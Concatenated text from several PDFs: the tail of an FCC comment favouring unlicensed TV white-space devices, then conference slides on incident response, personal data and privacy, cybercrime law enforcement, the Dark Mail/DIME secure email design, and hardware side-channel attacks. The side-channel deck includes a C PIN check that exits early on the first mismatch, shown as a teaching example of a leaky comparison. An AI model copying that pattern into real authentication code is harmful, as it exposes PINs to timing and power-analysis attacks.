a handful of licensees, the case for unlicensed use of white spaces is far more
compelling—particularly since the Commission will soon license more unencumbered
700 MHz spectrum in the DTV transition auctions. Before the advent of unlicensed Wi-
Fi, the 2.4 GHz band was widely derided as a “junk band.” Yet use of Wi-Fi created a
multi-billion dollar industry at a time when most telecommunications businesses were in
a downturn, almost indisputably creating substantially greater value than if the band had
been allocated for exclusive use.55 At last count, over one billion devices have been
deployed in the 2.4 GHz band alone.56
The superior propagation characteristics of TV channels promise not only to
replicate the success of unlicensed Wi-Fi deployments, but to outshine it. Unlicensed
devices operating in the TV band will offer longer transmission ranges using the same
power, less risk of signal attenuation or harmful interference, and less power
consumption at the same range as Wi-Fi.57
55 See, e.g., Remarks of Kevin Werbach, Former FCC Counsel for New Technology Policy, Stanford
University “Spectrum Policy: Property or Commons” Conference (Mar. 1, 2003), available at
http://werbach.com/docs/spectrum_conf_comments.html (last visited Nov. 21, 2006); Jesse
Sunenblick, Into the Great Wide Open, COLUMBIA JOURNALISM REVIEW (Mar./Apr. 2005).
56 See Bluetooth Technology in the Hands of One Billion, available at
http://www.bluetooth.com/Bluetooth/SIG/Billion.htm (last visited Jan. 17, 2007).
57 This last characteristic becomes an especially significant consideration for mobile devices such as
laptops and PDAs that rely on battery power.
24
Unlicensed use of the TV white spaces is particularly well suited for:
• Media distribution. The improved bandwidth made possible by use of TV
band spectrum will facilitate access to and management of electronic media,
enabling innovations such as next generation home media centers that provide
on-demand access to stored or streamed content—including high definition
video—from any number of devices. In addition, the increased bandwidth
afforded to unlicensed devices will make it more feasible for schools and
other non-profit entities to provide enterprise tools such as videoconferencing
at a number of receive points at those locations.
• Point-to-multi-point systems. The favorable propagation characteristics of
TV band signals will allow for deployment of more effective broadband
access.58 WISPs can reach more customers with less infrastructure, and
broadband deployment becomes substantially cheaper and quicker.
• Neighborhood mesh networks. The range provided by TV band devices can
be used to create self-organizing mesh networks free from subscription service
and free from monthly charges. They can also substantially reduce
deployment costs for municipal mesh network operators and help create ad
hoc public safety networks. Indeed, mesh networks are particularly well
suited to public safety and emergency response scenarios:
o Delivery of Communications at Emergency Sites and in the Event of
Catastrophic Network Failure. Mesh networks allow communications
to be readily deployed in emergencies when existing communications
infrastructure is damaged or unavailable.
o Supplementing Existing Infrastructure When There is Degradation.
Public safety personnel can use IP-based mesh networks to supplement
dedicated public safety networks and provide emergency site local
interoperability.
o Aiding Resiliency. Because mesh networks have no single point of
failure they assure reliability.
As some of these likely applications illustrate, many advantages of the TV bands
simply cannot be realized by licensed use. To be sure, there are also some benefits from
licensed services; however, the Commission has already committed to licensing 60 MHz
of spectrum in the 700 MHz band pursuant to the upcoming DTV transition auctions.
58 See FNPRM ¶ 13.
25
The only question is whether the distinct benefits of unlicensed services will also be
made available. Thus, while the Coalition supports the licensed model for the spectrum
to be cleared in the DTV transition, it urges the Commission to reaffirm its initial
determination that the unlicensed model is most appropriate for the TV white spaces.
In addition, the Further Notice overstates the possible benefits of licensed
services in the TV white spaces. The Commission notes that one possible justification
for licensed use is that it may facilitate the location and termination of sources of harmful
interference.59 This rationale presupposes both that interfering licensed uses will be
easier to shut off and that unlicensed users will have greater incentive to interfere—
neither of which is true.
As a threshold matter, once a licensed device becomes available in the
marketplace, the licensee has no viable means by which to detect or prevent individual
non-conforming interfering uses. For example, the Commission is aware that users have
on occasion tampered with licensed devices such as cell phones, and also that these
devices fail from time to time. Thus, licensed devices can cause harmful interference
unbeknownst to the license holder. Even if an incumbent licensee suspects that harmful
interference is a result of a licensed white space device and notifies the white space
licensee, there is little the white space licensee can do about it short of shutting down a
sizeable portion of its network—thus shutting down many unoffending devices to stop
one offending device.
59 Id. ¶ 30.
26
Nor is it clear that licensed operators would have a greater economic incentive to
ensure that deployed devices do not cause harmful interference.60 While the Commission
can and does take action against non-conforming uses, neither of the Commission’s
primary mechanisms for safeguarding against harmful interference—equipment
authorization and fines—are in any way dependent on the licensing of services. Because
licensed devices can be modified to work beyond the scope of their authorizations just as
easily as unlicensed devices can, enforcement—not licensing—will be the primary
deterrent to interference irrespective of the spectrum allocation approach the Commission
ultimately adopts.
The contention that licensees will have a greater incentive to ensure non-
interfering use fails for the additional reason that those who intend to develop and deploy
such devices are highly motivated to ensure that these devices do not cause harmful
interference. The Coalition’s members have already invested substantial resources in the
research and development of unlicensed TV band devices, and intend to invest even more
upon receiving positive indications that such use will be permitted without onerous
restrictions. The high tech industry has the expertise to ensure that devices do not cause
harmful interference, and simply would not endanger substantial investments in such
devices by creating the risk of FCC enforcement that would destroy the very market they
seek to create.
The Coalition also notes that its members have the economic incentive to ensure
that the Commission finds the correct balance between allowing innovative new services
60 Compare, e.g., the substantial interference caused by Nextel Communications. Inc. to other licensees—
including public safety operations—in the 800 MHz band. See generally Improving Public Safety
Communications in the 800 MHz Band, Report and Order, 19 FCC Rcd. 14969 (2004).
27
and protecting incumbent licensees, as members of the Coalition derive substantial
benefit from ensuring that demand for over-the-air TV is preserved. For example:
• Philips, Dell, and HP are global leaders in developing and manufacturing digital
televisions, collectively representing over 13 percent of the entire market for
plasma and LCD TVs in North America.
• Philips, Dell, and HP also make media center devices that enable viewing and
recording of over-the-air DTV content.
• Microsoft creates the software that powers these media center devices. For
example, Windows XP Media Center Edition allows devices to store, rewind, and
fast forward over-the-air DTV content, and includes a built-in antenna signal
strength meter to allow the user to adjust his or her antenna to get the best
reception possible.61
• Intel develops and markets tuner and demodulator products for digital televisions.
This interest in the success of both broadcast TV and unlicensed technology stands in
contrast to those of the broadcasters and other advocates of a licensing regime, who have
absolutely no market incentive to heed the Commission’s concerns about balancing the
needs of incumbents with obtaining substantial innovative value from the white spaces.
Finally, the parameters proposed by the Coalition eliminate the fears expressed by
some that individual unlicensed users will be compelled to transmit at the greatest
possible power to be heard over the din, creating a “tragedy of the commons”—as
advocates of a licensed regime would like the Commission to believe. 62 Indeed, the
substantial success of unlicensed operations in the 2.4 GHz and 5 GHz bands
demonstrates that the very opposite is true. The same success will happen for unlicensed
devices in the TV white spaces, if the Commission allows it.
61 The ability to access over-the-air signals is also a crucial feature of the media center editions of
Microsoft’s next generation Vista operating system.
62 See, e.g., Comments of Qualcomm, Inc. at 13 (filed Nov. 20, 2004); MSTV and NAB Comments at 25.
28
The Commission also speculates that a licensing regime may provide the most
effective means of balancing competing uses in areas where the amount of unused TV
band spectrum is comparatively low.63 However, there is no reason to believe that
numerous unlicensed devices will be unable to share the TV white spaces effectively.
For example, after the DTV transition, one of the more crowded markets in terms of
incumbent licensees will be Trenton, New Jersey, which is served by numerous licensees
in nearby cities including New York, Philadelphia, Newark, and Wilmington, DE. The
New America Foundation has concluded that even this crowded market will have
approximately 90 MHz of post-transition white space spectrum, most of which will be
available for use by personal/portable devices assuming that such devices are authorized
to use adjacent channels as the Coalition has proposed.64 Moreover, unlike TV stations,
unlicensed devices will not always be transmitting. Finally, the Coalition notes that a
number of technological advancements in telecommunications and computer networks,
including substantial breakthroughs in multiplexing, have been driven by the need to
share scarce resources. If white space spectrum in congested areas is heavily used by
unlicensed devices, this scenario may well encourage development of technologies that
could use that spectrum more efficiently.
63 FNPRM ¶ 30.
64 See Free Press and New America Foundation, Measuring the TV “White Space” Available for
Unlicensed Wireless Broadband at 49 (Nov. 18, 2005) available at
http://www.newamerica.net/files/archive/Doc_File_2713_1.pdf (last visited Dec. 14, 2006).
29
IV.
OTHER ISSUES.
A.
Out of band Emission Limits.
The Commission has proposed to require TV band devices to comply with the out
of band emission limits set forth in Section 15.209 of its rules, but seeks comment as to
whether different emission limits would be more appropriate.65 With the exception of
adjacent channel interference discussed above, the Coalition believes that Section 15.209
provides more than adequate out of band emission limits.
B.
Direct Pickup Interference/Receiver Desensitization.
The Commission seeks comment as to whether operation of unlicensed devices in
close proximity to TV receivers would affect receivers adversely, either through direct
signal pickup through the receiver chassis or by “desensitizing” the receiver so that it
receives harmful interference on each channel.66 The Coalition has confirmed that, by
operating within the parameters it is proposing, devices will not cause these problems,
and looks forward to the Commission’s testing, which the Coalition is confident will
verify these results.
C.
Wireless Microphones.
The Coalition has determined that the proposed -114 dBm threshold detection
sensitivity used to protect TV receivers also is more than adequate to protect licensed
wireless microphones. Theoretical and empirical studies conducted by the Coalition
verify that the proposed operating parameters that it has chosen will protect licensed
wireless microphones. The Coalition is confident that Commission testing will confirm
65 FNPRM ¶ 60.
66 Id. ¶ 62.
30
that the Coalition prototype will provide wireless microphone licensees with the
interference protection to which they are entitled.
D.
Unlicensed Use in Border Areas.
Finally, the Commission has observed that, under current international
agreements with Canada and Mexico, certain low power TV operations must be referred
to these countries for prior approval.67 Specifically, low power TV assignments within
20 miles of the Canadian border and 25 or 37 miles (for low power UHF and VHF,
respectively) from the Mexican border require prior approval for operation.68 The
Commission seeks comment as to whether these agreements must be modified before
unlicensed operations can commence in these areas.69
The Coalition believes that the pre-approval requirements in these agreements
would not need to be modified. The concerns the Commission has raised relate to
restrictions on TV station operations, not on other devices that may operate in the TV
bands using significantly less power than even low power TV stations. More
fundamentally, however, use of TV band devices is not inconsistent with these
agreements assuming the devices use spectrum sensing to avoid Mexican and Canadian
67 Id. ¶ 65.
68 See Working Arrangement for Allotment and Assignment of VHF and UHF Television Broadcasting
Channels under the Agreement between the Government of the United States of America and the
Government of Canada Relating to the TV Broadcasting Service, (Mar. 1, 1989), available at
http://www.fcc.gov/ib/sand/agree/files/can-bc/can-tv.pdf (last visited Nov. 22, 2006); Agreement
Amending the Agreement Relating to Assignments and Usage of Television Broadcasting Channels in
the Frequency Range 470-806 MHz (Channels 14-69) along the United States-Mexico Border (Nov.
21, 1988), available at http://www.fcc.gov/ib/sand/agree/files/mex-bc/lpuhfbc.pdf (last visited Nov. 22,
2006); untitled amendment to the United States-Mexican agreement on VHF stations dated Sept. 14-
26, 1988, available at http://www.fcc.gov/ib/sand/agree/files/mex-bc/lpvhfbc.pdf (last visited Nov. 21,
2006).
69 FNPRM ¶ 65.
31
TV signals. To that end, the Coalition’s prototype device has been designed to detect not
only the digital television signals that will be used in the United States, but also analog
television signals that may still be in use in Canada and Mexico after the U.S. DTV
transition has completed. Accordingly, the Commission should not require modification
of either of these agreements before allowing unlicensed use of the TV whitespaces.
CONCLUSION
The Commission’s decision to allow wireless devices to access unused broadcast
TV spectrum is a promising first step toward providing ubiquitous and affordable Internet
access, as well as toward the development and deployment of a number of exciting and
innovative new consumer technologies and services. However, these goals can only be
realized if the Commission adopts minimal technical and operational rules that will allow
innovation to flourish. Each implementation decision the Commission makes should
provide incumbent licensees with adequate protection from harmful interference, while
maximizing the potential uses of the TV white spaces by adopting flexible rules that will
allow for the widespread deployment of personal/portable devices. In particular, the
Commission should reaffirm its initial determination that the unlicensed model is most
appropriate for the TV white spaces, concurrently authorize the use of personal/portable
and fixed/access devices, and adopt spectrum sensing with a detection threshold of
-114 dBm as a means by which unlicensed devices may avoid causing harmful
interference. In doing so, the Commission can help ensure that all Americans derive
substantial benefit from this valuable public resource and that the U.S. leads the way in
technological innovation in this space.
32
Respectfully submitted,
/s/ Scott Blake Harris
Scott Blake Harris
Edmond J. Thomas∗
S. Roberts Carter III
HARRIS, WILTSHIRE & GRANNIS LLP
1200 Eighteenth Street, NW
Washington, DC 20036
(202) 730-1300
∗ Senior Policy Advisor | pdf |
Incident Response
Art, Science and Engineering
Maarten Van Horenbeeck
[email protected]
•
@maartenvhb
•
Director of Security Engineering at
•
Director and former Chairman of
•
Incident Responder.
你好
Ithaca, New York
Population 30,513
1988
Morris worm
The times, they are a-changing.
Bob Dylan, 1964
FIRST.Org, Inc. All rights
reserved.
7
Source: Traffic Signal Preemption in Millersville,PA by Wikipedia user Niagara
An internet of Things
8
Internet users in percentage, UN Human Development Report 2014 (Google Data)
An internet of People
Art, science and engineering
Dealing with complexity
• Art:
• “Quality according to aesthetic principles of what is
appealing”
• Science:
• “Branch of knowledge or study dealing with facts or
truths showing general laws”
• Engineering:
• “Creating large structures using scientific methods”
• Art:
• “Quality according to aesthetic principles of what is
appealing”
• Science:
• “Branch of knowledge or study dealing with facts or
truths showing general laws”
• Engineering:
• “Creating large structures using scientific methods”
Our common history
Lahore, Pakistan
Population 5.143 million
1986
Pakistani Brain
Hex dump of a Pakistani Brain infected floppy – by Avinash Meetoo (Wikipedia)
Manila, Philipines
Population 23 million
2000
LOVE-LETTER-FOR-YOU.txt.vbs
2007
Brussels, Belgium
Population 1.2 million
Targeted attacks
Natanz, Iran
2010
Population 12,060
STUXNET
.stub, mrxnet.sys
Vulnerability
in Windows
Shell
Design issue,
previously
used in Zlob
DLL Preloading vulnerability
Stuxnet
Vulnerability
in Task
Scheduler
Hash collision
Vulnerability
in Windows
Shell
Design issue,
previously
used in Zlob
DLL Preloading vulnerability
Stuxnet
Vulnerability
in Task
Scheduler
Hash collision
Vulnerability
in Windows
Shell
Design issue,
previously
used in Zlob
Vulnerability
in Win32k
Memory
corruption
DLL Preloading vulnerability
Stuxnet
Vulnerability
in Windows
Shell
Design issue,
previously
used in Zlob
Vulnerability
in Print
Spooler
Design issue
Vulnerability
in Win32k
Memory
corruption
Vulnerability
in Task
Scheduler
Hash collision
DLL Preloading vulnerability
Stuxnet
2011
Khartoum, Sudan
Population 6.5 million
Duqu
Beverwijk, The Netherlands
2011
Population 40,049
DigiNotar
DigiNotar
DigiNotar
FIRST.Org, Inc. All rights
reserved.
35
Map of open SSDP servers, The Shadowserver Foundation
Cyberspace
2014
FIRST.Org, Inc. All rights
reserved.
36
Amplification DDoS
2014
Map of open SSDP servers, The Shadowserver Foundation
38
Oulu, Finland
Lowest temperature on record -34 C
2014
39
Heartbleed
40
Dealing with complexity
FIRST.Org, Inc. All rights
reserved.
42
Internet Map 2004, Steve Jurvetson
FIRST.Org, Inc. All rights reserved.
43
FIRST.Org, Inc. All rights reserved.
43
Historical map of trade routes, Library of the University of Texas at Austin
Dealing with complexity
• “Know who you’re selling to”
• Build a community where we can reach others…
• … and understand what others do.
• “Transportation”
• Build the right tools for the job. Let automation do the
hard work, humans the smart work.
• “Lingua franca”
• Develop standards to work together better.
Dealing with complexity
• You make partners before you need them
• Connect with industry groups and competitors
• Participate and share information
• Know which technologies you know, and which you don’t
• Do you have or partner with reverse engineers?
• When something is the right thing to do, do it
• Track and participate in standards
• We all should have done this with BCP38
• Researchers help protect your organization
• Cherish and encourage their work
46
多謝
Questions?
[email protected] | pdf |
Every Breath You Take
::data gathering, persistence, and what it all means::
jim.oleary|dc0f
WARNING: STATIC CONTENT
One of the overriding themes of this talk is that once a
piece of data has been captured, it’s forever retrievable. In
the spirit of that principle, these made-for-CD slides have
been watered down a little bit, in order to prevent any
unintentional long-lived copyright violations, overly
offensive topics or other goof ups .
Dynamic, up-to-date slides can be pulled from:
http://dl.jimio.com/dc0f/ebyt.pdf
Abstract
•
How much data do you generate in the process of living an ordinary day? This talk
covers various ways to gather, persist and analyze the data stream that is your life.
We’ll cover a few of the approaches that are available today, some easy code you
can whip up to persist anything you please, and what to expect from the
community and businesses moving forward. Privacy/security impact is sure to be
huge, so hold on to your hats, and start tracking and logging everything!
Somebody else may be doing it for you already..
TODO: Data *
• Definition
• Gathering
– Who, What, Where, When, Why, How?
• Persistence
– Who, What, Where, When, Why, How?
• Mirroring
• Analysis
• Forecasting / Targeting
Allow myself..
• Jim O’Leary, aka jimio
– In the security game since about 2000
– CompSci & Psych background
– Mostly whitehat / corporate stiff
– Enjoys: design, coding, breaking code, long walks
• Contents of this talk do not reflect the views
of my employer, friends, countrymen, etc.
Data: Definition
STUFF
Data: Classification
Data: Awareness
• Information is your friend!
• Knowledge is power!
• The Vegas Hustle
– Try to find a clock anywhere near a game table
– Abstract tokenization of your cold, hard cash
– Endless free drinks to modify perception
– Chummy pit bosses, scantily-clad waitresses
– Overwhelm and distract, only to take your money
Data: Gathering
Acquisition Methods / Data Types
Push
email
Pull
RSS
Voluntary
Twitter
Involuntary
ISP snooping
Manual
Pen and paper
Self-regulating
Whitelisted / targeted
Self aware?
Intelligent sync, data resolution
Inadvertent
Whoops!
Data: Gathering - Fun
• We are in Vegas, after all..
(quick contest, w/ prizes : details announced mid-talk)
Data: Harvesting
• Massive server farm would be nice and all..
– Expensive
– Time consuming
• ..so have somebody else do it for you
– GOOG, MSFT, YHOO, INSP..
– Just speak HTTP/HTML, and you’re good to go
– Quick demo
Data: Persistence
• A moment like this
– Digital photography’s influence
– Huge increase in the # of data-feeding nodes
• What’s been done can’t be undone, son
– Sure, you can remove the “tag” in the photo
– Sure, you can delete those pictures from your camera
– Once it’s been captured, it’s out of your control
forever
Social Networking
• Facebook
– Digital representation of my social life
– News feed to passively monitor your friends
• Who’s doing what, where?
• Image tagging / Facebook paparazzi
• The “in a relationship” struggle
• Myspace
– Friends, Bands, Bulletins, Events
– Glittery roses, pouty lips, XSS worms
Security Through Obscurity
Privacy Through Obscurity
Data: Privacy
• Don’t want to get caught?
– Don’t do it
– Do it, lie about it
– Do it, try to delete all the evidence
– Do it, tell all your friends in person
– Do it, tell your friends online
– Do it, take pictures
– Do it, post pictures online
– Do it, lie about it, change mind, issue press release
The Sex Tape Era
[more examples]
Data: Elusiveness
• Need to send something?
– Do it on your own terms
– Encrypt!
– Minimize server hops/exposure
• HTTPS, just do it.
Data: Mirroring
• The “moment in time” principle
– Nowness tied to data value
– Presence seems ok
– Presence history is just creepy
• That’s why you do it yourself..
• Personomies
– Digital representations of self
– Skip the resume, hit up Google
Data: Analysis
• Now that we’ve got it, what do we do?
– Identify patterns
– Find trends
– Simulate and model situations
– Profit.
Analysis: Some Fun Demos
• Can a brother get a _____?
– Cliché / snowclone iteration finder
• For Unlawful Carnal Knowledge
– Article Parser, Pattern Recognition
• Inadvertent Haiku Finder
– Article Parser, Natural Language Processor, Pattern
Recognition
Data: Analysis
• Passive, non-invasive time travel and modeling
– Way out there.. Matrix-type stuff
– Given enough data to represent the physical world
Data: Forecasting / Targeting
• Marketing’s wet dream
• Actually, a ton of consumer benefit
– Providing it’s done correctly
– Also a ton of embarrassment potential
• Social network habits and dating inevitability
Data: Misc
• Few loose ends here..
EOF | pdf |
Cybercrime: Challenges
for Law Enforcement
Susan Brenner
NCR
Distinguished
Professor of
Law &
Technology
University of
Dayton
Real-world & cybercrime
Current approaches
evolved to deal with
real-world crime
Cybercrime occurs in
a different context
and therefore
presents different
issues
Example #1: Theft
Real-world theft: possession of
property shifts completely from A
to B, i.e., A had it now B has it
Cyber-theft: Property
is copied, so A “has”
it and so does B
Copying as theft?
Randall Schwartz
worked for Intel
Charged with computer
theft for copying a
password file
Claimed it wasn’t theft
because Intel did not
“lose” anything – Intel
still had the passwords,
and so did Schwartz
Example #2: Seizure
Is copying files a
seizure under the
Fourth Amendment
Same as theft?
Nicky Scarfo logger
Nicky Scarfo logger
FBI executed warrant at
Scarfo’s office
Seized files from his
computer – one was
encrypted
Agents installed a
keystroke logger on his
office PC, copied his
passphrase – seizure?
What is cybercrime?
Cybercrimes are divided into
3 categories:
crimes where a computer
is the target of the crime,
crimes where a computer
is a tool of the crime, and
crimes where a computer
is incidental to the
commission of the crime.
Computer as Target
Hacking (trespass)
Cracking (burglary)
Malicious code
(viruses, worms,
Trojan horses)
Vandalism (web
site defacement)
Denial of service
attacks
Target case: John Sullivan
Hired to develop software
program for Lance, Inc.
Demoted, he hid a logic
bomb in the program
It shut down 824 handheld
computers sales reps
used to contact
headquarters, costing
Lance, Inc. over $100,000
U.S. v. Sullivan, 40 Fed.
Appx. 740 (4th Cir. 2002)
Target Case: Czubinski
IRS customer service rep
who could use IRS
computers to answer
customer questions
Looked up tax returns of
a woman he dated, ADA
prosecuting his father,
etc.
Charged with wire and
computer fraud
Charges dismissed – no
evidence of scheme to
defraud
Denial of Service - 02/2000
Yahoo, Amazon, eBay,
CNN & Buy.com were
all attacked
15-year-old pled guilty
to the attacks, which
did an estimated $1.7
billion in damage
8 months in a juvenile
detention center
DDos Attack on GRC.Com
“I just ddosed you,” Wicked, 13
Computer As Tool
Fraud
Theft
Extortion
Stalking
Forgery
Child
pornography
Other???
Theft: Citibank
Vladimir Levin took
responsibility for
siphoning $10 million
from Citibank and
transferring it into
foreign accounts
Sentenced to 3 years
in prison
Identity Theft/Fraud
Abraham Abdallah, a
bus boy, stole the
identifies of Oprah
Winfrey, George
Lucas, Ross Perot,
etc.
Transferred funds
from their accounts
to ones he set up
using computers in
public libraries
Fake Escrow Sites
Dentist Bruce Lachot sent $55,000 to
an escrow site to buy a BMW from a
German seller
Fake site
Lachot never
got his BMW
or his money
back
Fraud? Theft?
Hacker fixes online
casino’s server so
people playing craps
and slots could not
lose
Players won $1.9
million
Others have done
similar things, then
demanded money not
to repeat it
Stalking a School
1999 – Massachusetts
middle school is stalked
by an unknown person
Students, faculty,
parents and the entire
town are panicked
Christian Hunold, a 20
year old paraplegic,
eventually identified as
the stalker
The Nuremberg Files
Black font (working)
Grey font (wounded)
Strikethrough (dead)
http://www.christiangallery.com/atrocity
JusticeFiles.org
Philip C. Goguen, Kirkland Police
officer
This is a picture of Officer
Goguen’s home.
This is a map to Officer Goguen’s
home.
Computer Incidental
Blackmailer uses
computer to write
blackmail letters
Drug dealer
stores records on
computer
Computer used to
research murder
methods
Divergences
Real-world crime and
cybercrime differ in
several respects
Differences make it
difficult to apply
traditional principles
of criminal law and law
enforcement to
cybercrime
Real-world crime
Proximity
Limited Scale
Physical
constraints
Patterns
Real-world crime shaped law
enforcement
Reactive model
Crime committed
Investigation
Apprehension
Conviction
Deterrence
Crime controlled
Cybercrime: proximity
“In the networked world, no island is an
island.”
McConnell International, Cyber Crime . . . And Punishment Archaic Laws
Threaten Global Information (2001).
Proximity: example #1
Onel de Guzman, accused
author of the “Love Bug”
virus
$10-$12 billion in damage
in over 20 countries
Not a crime in the
Philippines, never
prosecuted, anywhere
Proximity: example #2
Attacked companies
in 10 states
Extorted money by
threatening to sell
stolen data/return
and cause damage
FBI identified Vasiliy
Gorshkov and Alexey
Ivanov as the
hackers
Gorshkov
Ivanov
Example #2 - continued
Interview with Invita
Used FBI laptop to access a
Russian computer and demo
hacking skills – arrested
FBI used information obtained
by a logger on the laptop to
access the Russian computer
and download evidence
without a warrant
Invita: Implications
Cybercrime is transborder,
transnational crime
Russians would not assist
FBI -- no MLAT in effect
In August, the Federal
Security Service charged
an FBI agent with hacking
Cybercrime: scale
Thomas & Janice Reedy
provided a gateway to child
porn sites
350,000 subscribers (35,000 in
US & 1,300 in the UK)
Estimate: it takes 80 hours to
process one computer, which
is only part of prosecuting
Physical constraints
Anonymity
Easier to avoid
leaving trace
evidence
Crimes are
committed
quickly – more
easily concealed
Concealment: framing
NY executive discovered
email was being tapped
Traced to former employee,
Joe Smith, in St. Louis
Smith said he did not do it
Further investigation
showed Fred Doe, former
employee in Seattle, tapped
email and framed Smith
Cybercrime Patterns?
Lack of accurate
statistics
No standard offense
definitions
Hard to parse a
cybercrime into
“offenses” – was
the Love Bug one
crime or thousands of
crimes?
Different Approaches
Collaborative model –
commercial
Prevention (information
sharing, etc.)
Informal reporting of
cybercrimes
Reacting – private
resources supplement law
enforcement resources
Legal issues
Must private personnel
abide by rules governing
law enforcement?
Permissibility of using
private personnel in
evidence-gathering
Locus of the decision to
prosecute
Private Person case
Person claiming to be
Turkish hacker gives
police evidence of child
porn/molestation
Investigation and
arrests
Turkish hacker agent of
the police?
U.S. v. Steiger, 318 F.2d 1039
(11th Cir. 2003) (no); U.S. v. v.
Jarrett, 229 F. Supp.2d 503 (E.D.
Va. 2002) (yes_
Shift
Emerging model is a
shift from a law
enforcement, primarily
reactive model, to a
collaborative preventive-
reactive model
Emphasizes prevention
because of the
difficulties involved in
reacting to cybercrime
Expanding the Model
Collaborative approach
for individuals?
Prevention?
(Assumption of the risk?)
Increased reporting?
Reacting? Vigilantism?
Victim reaction?
Institute
University of Dayton School of
Law establishing new institute
International Institute for
Technology, Security and Law
Cybercrime research, training,
policy analysis
Formal announcement in August
Susan W. Brenner
[email protected]
http://www.cybercrimes.net | pdf |
Ladar Levison
Stephen Watt
What is Dark Mail?
What is Dark Mail?
What is DIME?
Did you write down the formula?
Dark Internet Mail Environment
DIME Illustrated
User
Client
DARPA NET
DMAP
DMTP
Resolver
Transport
Signet Service
Global Ledger
(Optional)
Dark
Messages
Server
]
]
Signets
Signets
DNS
Why Do We Need It?
• Guilt by Association
• Mass Surveillance (Gotta Love Backbone Slurping)
• Service Provider (PRTT Orders, Search Warrants, NSLs, FISC Warrants)
Goals
•
Message Confidentiality
•
Author Validation
•
Minimize Metadata Exposure
•
Automagical Key Management
•
Efficient Access from Multiple Clients
•
Deployment Flexibility
Get everyone using it! The more people using it, the more valuable it becomes.
How far will they go?
How will they attack?
Weak Points
• DNS
• Password Strength
• Endpoint Security
• Cryptographic Algorithms
• Implementation Vulnerabilities
• JavaScript Clients
• For those addicted to Webmail
* Warning: if the world adopts end-to-end cryptography for communications, then
it’s only a matter of time – hardware will start shipping from the factory with a
backdoor.
Let’s Get Back to DIME
Lead by Example
DIME Management Record
DIME Management Record
DIME Management Record
What is a Signet?
Signet
Header
Byte 1: Signet Format Version Number
Bytes 2-4: Length of the Signet (minus the 4 byte header)
Defined Attributes
Byte 1: Attribute Type (Signing key, Encryption Key, Org Signature, Etc.)
Bytes 2-3: Value Length
Bytes 4-X: Value
Undefined Attributes
Byte 1: Indicates Undefined Attribute Type (Value == 255)
Byte 2: Name Length
Bytes 3-N: Name
Bytes (N+1)-(N+3): Value Length
Bytes (N+4)-(N+4+X): Value
* Because the overall length is 3 bytes, the maximum size of a Signet is 16 megabytes.
Signet Construction
Signet Construction
Signet Construction
Signet Construction
Signet Construction
Signet Construction
Trust Model
Signet resolver obtains a signet from an authoritative primary source and then validates it
using a pre-authenticated secondary source.
User Signet
Org Signet
Management
Record
RRSIG
DS
TLD
Trust Model
* Trust no one. You’ll live longer.
Signet resolver obtains a signet from an authoritative primary source and then validates it
using a pre-authenticated secondary source.
User Signet
Org Signet
Management
Record
RRSIG
DS
TLD
Registrar
TLD
Princess
Message
Header
Content
Tracing / Unencrypted
Return-Path: <lavabit.com>
Destination: <domain.tld>
Destination-Key: [CD1ZS2B6ZpyfRiUeo63tJFc2Ca]
Received: from lavabit.com (153.31.119.142)
by mail.domain.tld with DMTP id N5HHRJGSDW5T
for <domain.tld>; Wed, 4 Jun 2014 13:37:02 -0500
Origin / ARO
Author: <[email protected]>
Author-Key: [wREBqUxPadqBzSCodroFYScLOI]
Destination: <domain.tld>
Destination-Key: [CD1ZS2B6ZpyfRiUeo63tJFc2Ca]
Destination / ARD
Recipient: <[email protected]>
Recipient-Key: [58+FsG1Y3n4SveTfX9PN68KoWS]
Origin: <lavabit.com>
Origin-Key: [VLbfEsXhxtSzHpu61bRW+iyXLR]
Display / AR
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
Mr. President, I’m afraid the ubiquitous adoption of dmail has made mass surveillance
technologically impossible.
Sincerely,
Ladar Levison
Common Fields / AR
Date: Sat, 13 Jul 2013 03:15:42 -0500
From: Ladar Levison <[email protected]>
Organization: Lavabit LLC
To: "President, Mister" <[email protected]>
CC: "Snowden, Edward" <[email protected]>,
Subject: Hey, who turned out the lights?
Other Fields / AR
Message-ID: <[email protected]>
References: <[email protected]>
In-Reply-To: <[email protected]>
User-Agent: Volcano/1.2.8
Thread-Topic: Hey, who turned out the lights?
Thread-Index: AbVQ9wJlc9KwLwQcsVw9lJHWFOzw9D==
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
X-Nonspam: None
Attachment / AR
Content-Type: application/octet-stream;
name="TOP-SECRET-SLURPEE-net-data-collection-sources.pdf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="TOP-SECRET-SLURPEE-net-data-collection-sources.pdf"
JVBERi0xLjcNJeLjz9MNCjQ1MCAwIG9iag08PC9MaW5lYXJpemVkIDEvTCAyMDk0M
jUvTyA0NTIvRSAxNzA0Ni9OIDQxL1QgMjAwMzc3L0ggWyA2MzYgNzQ3XT4+DWVu
ZG9iag0gICAgICAgICAgICAgDQp4cmVmDQo0NTAgMTcNCjAwMDAwMDAwMTYgM
DAwMDAgbg0KMDAwMDAwMTM4MyAwMDAwMCBuDQowMDAwMDAxNDQ5ID
AwMDAwIG4NCjAwMDAwMDE3MJSVFT0YNCg==
Access Identifiers
A = Author
D = Destination
O = Origin
R = Recipient
Signature
Signatures
User = Tree Signature (Combined Chunk Hashes) / Complete Content Signature
Domain = Return Subset Signature (If Applicable) / Complete Content Signature
Envelope
Pseudo Onion
Destination
silentcircle.com
Origin
lavabit.com
Author
Recipient
What the Origin Sees
What the Destination Sees
Fin | pdf |
Don’t Whisper My Chips
ColinOFlynn.com – DEFCON 2015.
1
Colin O’Flynn – Dalhousie University – Halifax, NS. Canada.
Objective: Learn about all sorts of ‘physical’ layer attacks.
Critical Difference: Everything I’m showing you is open
source and freely available. Most of the hardware is
commercially available (it’s difficult for hardware to be
free), but you can DIY it too if you wish, or use existing
tools (e.g. oscilloscope).
www.NewAE.com
Open Source Tools Posted to:
www.ChipWhisperer.com
ColinOFlynn.com – DEFCON 2015.
2
ColinOFlynn.com – DEFCON 2015.
3
ColinOFlynn.com – DEFCON 2015.
4
ColinOFlynn.com – DEFCON 2015.
5
ColinOFlynn.com – DEFCON 2015.
6
Embedded System:
ColinOFlynn.com – DEFCON 2015.
8
Not an Embedded System:
unsigned char correctpin[6] = {1,2,3,4,5,6};
unsigned char enteredpin[6];
read_pin_from_buttons(enteredpin);
for (i = 0; i < 6; i++){
if (correctpin[i] != enteredpin[i]){
return;
}
}
ColinOFlynn.com – DEFCON 2015.
10
ColinOFlynn.com – DEFCON 2015.
11
ColinOFlynn.com – DEFCON 2015.
12
